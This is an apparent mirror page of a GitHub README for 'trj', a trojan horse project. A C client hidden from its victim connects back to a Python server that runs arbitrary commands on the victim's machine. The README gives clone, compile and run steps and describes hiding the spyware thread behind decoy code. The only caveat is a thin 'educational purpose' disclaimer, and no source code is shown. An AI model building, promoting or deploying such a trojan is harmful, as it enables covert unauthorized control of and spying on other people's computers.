GithubHelp home page GithubHelp logo

5l1v3r1 / trj Goto Github PK

View Code? Open in Web Editor NEW

This project forked from pablocorbalann/trj

0.0 1.0 0.0 293 KB

Execute any command in other's computer using a trojan horse coded and compiled in C. Just for educational purpose.

License: Boost Software License 1.0

Shell 1.65% Python 69.02% C 18.14% Makefile 11.20%

trj's Introduction

⚠️ Important note: I'm still developing trj. Let's try to get an alpha as soon as posible.

TRJ

GitHub repo size

GitHub forks

Español

Table of contents

Idea

Trc is a Trojan horse created with the intention of having full access to someone else's computer system, accessing their cmd/terminal and being able to execute any command.

To achieve this, a server programmed in Python is used that connects to a socket programmed in C from the client side.

THANKS TO ALL THE PERSONS THAT HAVE STARRED THE REPOSITORY!!!! LOVE YOU GUYS! ❤️

Installing

For using Trj, you will have to install two things, the client and the server. The client has been coded using C, as it can be compiled and the target of the attack will not notice that there is spyware running as a thread. The server is coded in Python.

Prequisites

Name Use Links
Git Clonning the repository Install
Python (v3.6+) Running the server Page
C compiler (gcc) Compiling the client Gnu

The first step for installing trj is clonning the repository to your local machine:

git clone https://github.com/pblcc/trj

Compiling the client

For compiling the client we use a C compiler as gcc and a Makefile. Run the following commands:

cd client/
make all

Now you move inside the directory using

cd build

And run the executable as:

./client.test
NOTE: Using make all you compile the complete client, if you just want to compile the trojan part of the code you can run make client, and if you want to compile the tests of trj use make test
make all # Compiles all the client
make client # Just compiles the actual code of the trj client
make test # Just compiles the tests of trj

Running the server

To run the server you should use Python. Run the following commands:

python server/server.py
NOTE: If you have multiple instalations of Python, use Python3

Legal advice

Trc can be used for malicious purposes so we have to specify a couple of things.

License

This project is under the BSL License

Warranty

Use tcr at your own risk, I am not responsible for any unethical use you make with this repository. This repository has been programmed for educational use.

Todo

  • Create a small server using in Python
  • Create a socket connection using C from the client to the server (tcp)
  • Implement this connection in a simple text chat
  • Upgrade the server so that it can manage more than one client at the same time
  • Create the trojan in C inside client/trojan
  • Make the trojan run in a different thread
  • Include non-trojan code in a second thread, so that the user doesn't notice about the trojan
  • > Export the configuration (yaml, json...)
  • Add flags to the server (port, ip, execute, sudo...)
  • Generate executables

Advanced

Modify the configuration of trj

To configurate the server and the client, check out the configuration.yaml file. There you have all the keys needed to configurate the complete server and the complete client. For example:

  • The port of the server
  • The IP adress
  • The decodification format

And much more.

This configuration is loaded automatically.

If you want to check the configuration (in the server) you can use the -c flag.

cd server
python3 server.py -c

Modify the server IP and port using CLI

You can modify the server IP and the server PORT from the console itself. Instead of running:

python server/server.py

Run:

python server/server.py <ip> <port>

For example:

python server/server 127.0.0.1 4404

Compile just the trojan code

If you want just to compile the trojan code of the project, you can use:

git clone https://github.com/pblcc/trj
cd trj/client/trojan
make

After that you could run just the trojan part of trj using

./trojan-code

trj's People

Contributors

pablocorbalann avatar

Watchers

 avatar

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.